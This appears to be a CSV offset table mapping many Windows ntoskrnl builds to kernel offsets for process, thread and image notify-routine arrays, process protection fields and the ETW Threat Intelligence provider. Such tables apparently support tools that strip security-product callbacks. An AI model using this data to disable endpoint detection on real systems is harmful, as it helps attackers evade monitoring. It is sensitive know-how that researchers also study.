||||
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50
|
||||
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||
ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
|
||||
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
|
||||
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
|
||||
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
|
||||
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
|
||||
ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
|
||||
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50
|
||||
ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50
|
||||
ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50
|
||||
ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50
|
||||
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
|
||||
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
|
||||
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50
|
||||
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60
|
||||
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
|
||||
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
|
||||
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60
|
||||
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50
|
||||
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
|
||||
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
|
||||
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
|
||||
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
|
||||
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
|
||||
ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
|
||||
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
|
||||
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
|
||||
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60
|
||||
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
|
||||
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
|
||||
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
|
||||
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
|
||||
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
|
||||
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
|
||||
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50
|
||||
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50
|
||||
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50
|
||||
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50
|
||||
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
|
||||
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
|
||||
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50
|
||||
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50
|
||||
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50
|
||||
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50
|
||||
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50
|
||||
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50
|
||||
ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50
|
||||
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60
|
||||
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60
|
||||
ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60
|
||||
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60
|
||||
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60
|
||||
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50
|
||||
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60
|
||||
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60
|
||||
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50
|
||||
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50
|
||||
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50
|
||||
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50
|
||||
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50
|
||||
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50
|
||||
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50
|
||||
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50
|
||||
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50
|
||||
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50
|
||||
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50
|
||||
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50
|
||||
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50
|
||||
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50
|
||||
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50
|
||||
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60
|
||||
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60
|
||||
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60
|
||||
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60
|
||||
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60
|
||||
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
|
||||
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
|
||||
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60
|
||||
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60
|
||||
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60
|
||||
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60
|
||||
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60
|
||||
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60
|
||||
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60
|
||||
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60
|
||||
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60
|
||||
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60
|
||||
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60
|
||||
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60
|
||||
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60
|
||||
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60
|
||||
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60
|
||||
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60
|
||||
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60
|
||||
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60
|
||||
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
|
||||
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60
|
||||
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60
|
||||
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60
|
||||
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
|
||||
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60
|
||||
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60
|
||||
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
|
||||
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
|
||||
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60
|
||||
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60
|
||||
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60
|
||||
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60
|
||||
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60
|
||||
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60
|
||||
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60
|
||||
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
|
||||
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
|
||||
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
|
||||
ntoskrnl_14393-693.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
|
||||
ntoskrnl_19041-1.exe,cec0e0,cec2e0,cebee0,87a,c19898,20,60
|
||||
ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50
|
||||
ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50
|
||||
ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50
|
||||
ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50
|
||||
ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60
|
||||
ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60
|
||||
ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60
|
||||
ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
|
||||
ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50
|
||||
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38
|
||||
ntoskrnl_14393-4771.exe,339e60,339c60,339a60,6ca,0,20,50
|
||||
ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60
|
||||
ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60
|
||||
ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50
|
||||
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50
|
||||
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50
|
||||
ntoskrnl_9200-23516.exe,2452a0,2454c0,2456e0,0,0,10,50
|
||||
ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60
|
||||
ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60
|
||||
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList
|
||||
ntoskrnl_19041-1889.exe,cec060,cec460,cec260,87a,c19dd8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
|
||||
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8
|
||||
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8
|
||||
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
|
||||
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8
|
||||
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
|
||||
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
|
||||
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8
|
||||
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cd228,3cd240,c8
|
||||
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8
|
||||
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
|
||||
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
|
||||
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
|
||||
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
|
||||
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
|
||||
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
|
||||
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-19119.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8
|
||||
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
|
||||
ntoskrnl_10240-19086.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8
|
||||
ntoskrnl_10240-19145.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8
|
||||
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8
|
||||
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8
|
||||
ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8
|
||||
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8
|
||||
ntoskrnl_10240-19235.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8
|
||||
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8
|
||||
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8
|
||||
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8
|
||||
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50,382228,382248,c8
|
||||
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8
|
||||
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8
|
||||
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
|
||||
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
|
||||
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50,3a8210,3a8230,c8
|
||||
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
|
||||
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8
|
||||
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8
|
||||
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
|
||||
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8
|
||||
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8
|
||||
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8
|
||||
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50,3a8250,3a8278,c8
|
||||
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
|
||||
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
|
||||
